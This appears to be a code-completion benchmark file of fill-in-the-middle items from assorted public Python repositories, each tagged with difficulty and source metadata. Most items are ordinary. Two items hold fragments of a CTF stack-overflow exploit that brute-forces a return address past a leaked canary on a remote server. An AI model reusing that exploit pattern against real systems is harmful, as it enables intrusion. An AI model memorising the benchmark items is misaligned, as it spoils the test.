<|fim_suffix|>t match the query database\x1b[0m') print('\33[35m * ({} <=> {})\x1b[0m'.format(config['uniref_name'], config['params']['humann3']['diamond']['db'])) # diamond blastp print('\33[36m * Annotating via "diamond blastp"\x1b[0m') ...
code_fim
hard
{ "lang": "python", "repo": "tr11-sanger/Struo2", "path": "/bin/db_update/humann3/Snakefile", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: tr11-sanger/Struo2 path: /bin/db_update/humann3/Snakefile # input if not skipped(config['databases']['genes']): print('\33[36m * Using updated genes database\x1b[0m') include: snake_dir + 'bin/db_update/humann3/input_from_genes/Snakefile' else: msg = '\33[35m X For user-provided gen...
code_fim
hard
{ "lang": "python", "repo": "tr11-sanger/Struo2", "path": "/bin/db_update/humann3/Snakefile", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: o0oBluePhoenixo0o/AbbVie2017 path: /FINAL/4. Topic Monitoring/4.1 Topic Detection/Assigned Topics(Twitter)_Chien.py ### Before running this script, please put this file into the data repository so as to run it. import pandas as pd import numpy as np import os import re import csv import sys impo...
code_fim
hard
{ "lang": "python", "repo": "o0oBluePhoenixo0o/AbbVie2017", "path": "/FINAL/4. Topic Monitoring/4.1 Topic Detection/Assigned Topics(Twitter)_Chien.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>import datetime import dateutil.relativedelta def dateselect(day): d = datetime.datetime.strptime(str(datetime.date.today()), "%Y-%m-%d") d2 = d - dateutil.relativedelta.relativedelta(days=day) df_time = df_postn['created_time'] df_time = pd.to_datetime(df_time) mask = (df_time > d2) &...
code_fim
hard
{ "lang": "python", "repo": "o0oBluePhoenixo0o/AbbVie2017", "path": "/FINAL/4. Topic Monitoring/4.1 Topic Detection/Assigned Topics(Twitter)_Chien.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>### Open a csv file to save the results in with open('twitter_topic_final.csv', 'w', encoding = 'UTF-8', newline = '') as csvfile: column = [['id', 'key', 'created_time', 'message', 'topic_id', 'probability', 'topic']] writer = csv.writer(csvfile) writer.writerows(column) for i in range(le...
code_fim
hard
{ "lang": "python", "repo": "o0oBluePhoenixo0o/AbbVie2017", "path": "/FINAL/4. Topic Monitoring/4.1 Topic Detection/Assigned Topics(Twitter)_Chien.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: yangkedc1984/Source_Codes_Collected path: /scikit-kinematics/skinematics/tests/test_sensor_xio.py import sys import os myPath = os.path.dirname(os.path.abspath(__file__)) sys.path.insert(0, myPath + '/../') sys.path.append('.') <|fim_suffix|> self.assertAlmostEqual((rate - 256), 0) ...
code_fim
hard
{ "lang": "python", "repo": "yangkedc1984/Source_Codes_Collected", "path": "/scikit-kinematics/skinematics/tests/test_sensor_xio.py", "mode": "psm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_suffix|>class TestSequenceFunctions(unittest.TestCase): def test_import_xio(self): # Get data, with a specified input from an XIO system inFile = os.path.join(myPath, 'data', 'data_xio', '00033_CalIntertialAndMag.csv') data = imus.import_data(inFile, type='xio', paramList=['rate',...
code_fim
medium
{ "lang": "python", "repo": "yangkedc1984/Source_Codes_Collected", "path": "/scikit-kinematics/skinematics/tests/test_sensor_xio.py", "mode": "spm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_suffix|> self.conv1 = nn.Conv2d( 1, self.inplanes, kernel_size=7, stride=2, padding=3) self.bn1 = self._norm_layer(self.inplanes) self.relu = nn.ReLU() self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1) ...
code_fim
hard
{ "lang": "python", "repo": "muzihuole/AudioClassification-Pytorch", "path": "/resnet.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: muzihuole/AudioClassification-Pytorch path: /resnet.py import torch import torch.nn as nn class BasicBlock(nn.Module): expansion = 1 def __init__(self, inplanes, planes, stride=1, downsample=None, grou...
code_fim
hard
{ "lang": "python", "repo": "muzihuole/AudioClassification-Pytorch", "path": "/resnet.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> self.put_with_status_check('/playbooks/test_playbook', headers=self.headers, status_code=OBJECT_CREATED) self.put_with_status_check('/playbooks/test_playbook/workflows/test_workflow', headers=self.headers, status_code=OB...
code_fim
hard
{ "lang": "python", "repo": "ratchet-stpup/WALKOFF", "path": "/tests/test_triggers.py", "mode": "spm", "license": "CC0-1.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: ratchet-stpup/WALKOFF path: /tests/test_triggers.py gger_name), headers=self.headers, data=data, status_code=OBJECT_CREATED) self.put_with_status_check('/execution/listener/triggers/{0}'.format(self.test_trigger_name), ...
code_fim
hard
{ "lang": "python", "repo": "ratchet-stpup/WALKOFF", "path": "/tests/test_triggers.py", "mode": "psm", "license": "CC0-1.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: ratchet-stpup/WALKOFF path: /tests/test_triggers.py self.assertIn('triggers', response) self.assertEqual(len(response['triggers']), 1) self.assertEqual(response['triggers'][0]['name'], expected_json['name']) self.assertEqual(response['triggers'][0]['workflow'], expected_js...
code_fim
hard
{ "lang": "python", "repo": "ratchet-stpup/WALKOFF", "path": "/tests/test_triggers.py", "mode": "psm", "license": "CC0-1.0", "source": "the-stack-v2" }
<|fim_suffix|>y. for filename in os.listdir(os.getcwd()): year = filename[:filename.find('.')]#get just year for dictionary lookup #thankfully all of our data is in the 2000's so we can filter files like this #we also want to ignore combined files if they have been made if '2' in filename and 'combined' not in file...
code_fim
hard
{ "lang": "python", "repo": "jkgiesler/global-warming-sentiment", "path": "/modern happiness data/combine_gdp_happiness.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>.txt','wt') print(header+'\t'+'GDP',file=file_out) #print out header with GDP added for line in file_in: line = line.rstrip() rows = line.split('\t') try: rows.append(gdp_dict[year][rows[0]])#gets GDP from dict and tacks it on the last column except: rows.append('NA')#we don't have...
code_fim
hard
{ "lang": "python", "repo": "jkgiesler/global-warming-sentiment", "path": "/modern happiness data/combine_gdp_happiness.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: jkgiesler/global-warming-sentiment path: /modern happiness data/combine_gdp_happiness.py import os #make a dictionary of dictionaries so the outer dictionary will be all years #the inner dictionary is then all countries. a query to the dictionary is #formed like gdp_dict['2006']['Korea'] #this ...
code_fim
hard
{ "lang": "python", "repo": "jkgiesler/global-warming-sentiment", "path": "/modern happiness data/combine_gdp_happiness.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> # 冒泡 def sort3(data): l = len(data) for i in range(l): for j in range(l - i - 1): if data[j] > data[j + 1]: data[j + 1], data[j] = data[j], data[j + 1] return data if __name__ == '__main__': validatetool.validate(sort1) validatetool.validate(sort2...
code_fim
hard
{ "lang": "python", "repo": "jayzane/leetcodePy", "path": "/sort/bubble_insert_select.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> l = len(data) for i in range(l): for j in range(l - i - 1): if data[j] > data[j + 1]: data[j + 1], data[j] = data[j], data[j + 1] return data if __name__ == '__main__': validatetool.validate(sort1) validatetool.validate(sort2) validatetool.vali...
code_fim
hard
{ "lang": "python", "repo": "jayzane/leetcodePy", "path": "/sort/bubble_insert_select.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: jayzane/leetcodePy path: /sort/bubble_insert_select.py """ 冒泡、插入、选择排序 2020-12-05: 20.03.59;11:04.33;06:18.13;12:15.51;03:52.58;03:07.01; 2020-12-06: 03:24.21;03:02.81;02:28.71; """ from sort import validatetool # 选择 def sort1(data): l = len(data) for i in range(l): index = i ...
code_fim
hard
{ "lang": "python", "repo": "jayzane/leetcodePy", "path": "/sort/bubble_insert_select.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> # Initialize and run CMFD test harness harness = CMFDTestHarness('statepoint.20.h5', cmfd_run) harness.main()<|fim_prefix|># repo: paulromano/openmc path: /tests/regression_tests/cmfd_feed_rolling_window/test.py from tests.testing_harness import CMFDTestHarness from openmc import cmfd def t...
code_fim
hard
{ "lang": "python", "repo": "paulromano/openmc", "path": "/tests/regression_tests/cmfd_feed_rolling_window/test.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> # Initialize and run CMFDRun object cmfd_run = cmfd.CMFDRun() cmfd_run.mesh = cmfd_mesh cmfd_run.tally_begin = 5 cmfd_run.solver_begin = 10 cmfd_run.feedback = True cmfd_run.gauss_seidel_tolerance = [1.e-15, 1.e-20] cmfd_run.window_type = 'rolling' cmfd_run.window_size ...
code_fim
hard
{ "lang": "python", "repo": "paulromano/openmc", "path": "/tests/regression_tests/cmfd_feed_rolling_window/test.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: paulromano/openmc path: /tests/regression_tests/cmfd_feed_rolling_window/test.py from tests.testing_harness import CMFDTestHarness from openmc import cmfd def test_cmfd_feed_rolling_window(): <|fim_suffix|> # Initialize and run CMFD test harness harness = CMFDTestHarness('statepoint.20.h...
code_fim
hard
{ "lang": "python", "repo": "paulromano/openmc", "path": "/tests/regression_tests/cmfd_feed_rolling_window/test.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> print(fn) print(f'total {len(sizes)} sizes\n') t1 = time.time() count = 0 with open(fn, 'w') as f: for size in sizes: torch.cuda.empty_cache() x = torch.randn(*size[:-2], device=device, dtype=dtype) t = run(lambda: torch.topk(x, k=size...
code_fim
hard
{ "lang": "python", "repo": "xwang233/code-snippet", "path": "/topk/a.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: xwang233/code-snippet path: /topk/a.py import torch from torch.testing import _compare_tensors_internal import time import random def topKViaSort(x, k, dim): val, idx = x.sort(dim, True) return (val.narrow(dim, 0, k), idx.narrow(dim, 0, k)) def run(func, reps=100): # warmup for ...
code_fim
hard
{ "lang": "python", "repo": "xwang233/code-snippet", "path": "/topk/a.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> y1 = torch.topk(x, k=size[-2], dim=size[-1]) y2 = topKViaSort(x, k=size[-2], dim=size[-1]) # values should be exactly equal a, b = _compare_tensors_internal(y1.values, y2[0], atol=0, rtol=0, equal_nan=False) assert a, b if not y1.in...
code_fim
hard
{ "lang": "python", "repo": "xwang233/code-snippet", "path": "/topk/a.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: pergolafabio/pyrisco path: /pyrisco/cloud/event.py from pyrisco.common import GROUP_ID_TO_NAME EVENT_IDS_TO_TYPES = { 3: "triggered", 9: "zone bypassed", 10: "zone unbypassed", 13: "armed", 16: "disarmed", 28: "power lost", 29: "power restored", 34: "media lost", 35: "media res...
code_fim
hard
{ "lang": "python", "repo": "pergolafabio/pyrisco", "path": "/pyrisco/cloud/event.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> @property def partition_id(self): partition_id = self.raw["partAssociationCSV"] if partition_id is None: return None return int(partition_id) @property def time(self): """Time the event was fired.""" return self.raw["logTime"] @property def text(self): """Event...
code_fim
hard
{ "lang": "python", "repo": "pergolafabio/pyrisco", "path": "/pyrisco/cloud/event.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: SaronZhou/python path: /crmdsj/codes/类.py int("Your dog is " + str(your_dog.age) + " years old.") your_dog.roll_over() # assignment9-1 class Restaurant(): def __init__(self, restaurant_name, cuisine_type): self.name = restaurant_name self.type = cuisine_type def ...
code_fim
hard
{ "lang": "python", "repo": "SaronZhou/python", "path": "/crmdsj/codes/类.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> '''里程表读数增加指定的量''' self.odometer_reading += miles class ElectricCar(Car): def __init__(self, make, model, year): ''' 电动汽车的独特之处 初始化父类的属性,再初始化电动汽车的特有属性 ''' # 注意继承父类的__init__方法时不用self形参 super().__init__(make, model, year) ...
code_fim
hard
{ "lang": "python", "repo": "SaronZhou/python", "path": "/crmdsj/codes/类.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: SaronZhou/python path: /crmdsj/codes/类.py new_car.get_descriptive_name()) my_new_car.read_odometer() # 修改属性的值 # 直接修改属性的值 my_new_car.odometer_reading = 23 my_new_car.read_odometer() # 通过方法修改属性的值 class Car(): def __init__(self, make, model, year): '''初始化描述汽车的属性''' self.make = ...
code_fim
hard
{ "lang": "python", "repo": "SaronZhou/python", "path": "/crmdsj/codes/类.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: datajerk/ctf-write-ups path: /nahamconctf2020/ripe_reader/exploit2.py #!/usr/bin/python3 from pwn import * import sys binary = ELF('ripe_reader') context.log_level = 'WARN' server = sys.argv[1] port = int(sys.argv[2]) buf = b'./flag.txt\x00' buf += (0x48 - 0x10 - len(buf)) * b'A' #x = [i for ...
code_fim
hard
{ "lang": "python", "repo": "datajerk/ctf-write-ups", "path": "/nahamconctf2020/ripe_reader/exploit2.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>selectimg = binary.symbols['selectImg'] & 0xfff for i in range(16): p = remote(server,port) p.recvuntil('[q] QUIT') payload = buf + p64(canary) + p64(rbp) + p16(selectimg + i * 0x1000) print(hex(selectimg + i * 0x1000)) p.send(payload) try: p.recvuntil('[q] QUIT') p.close() break except: c...
code_fim
hard
{ "lang": "python", "repo": "datajerk/ctf-write-ups", "path": "/nahamconctf2020/ripe_reader/exploit2.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: sassoftware/rbuild path: /rbuild_test/unit_test/uitest.py )) h.ui.outStream.write._mock.assertCalled(('data1\n')) h.ui._log._mock.assertCalled(('H1')) h.ui._log._mock.assertCalled(('data1')) # test basic table output with implicit headers h.ui.writeTable( ...
code_fim
hard
{ "lang": "python", "repo": "sassoftware/rbuild", "path": "/rbuild_test/unit_test/uitest.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }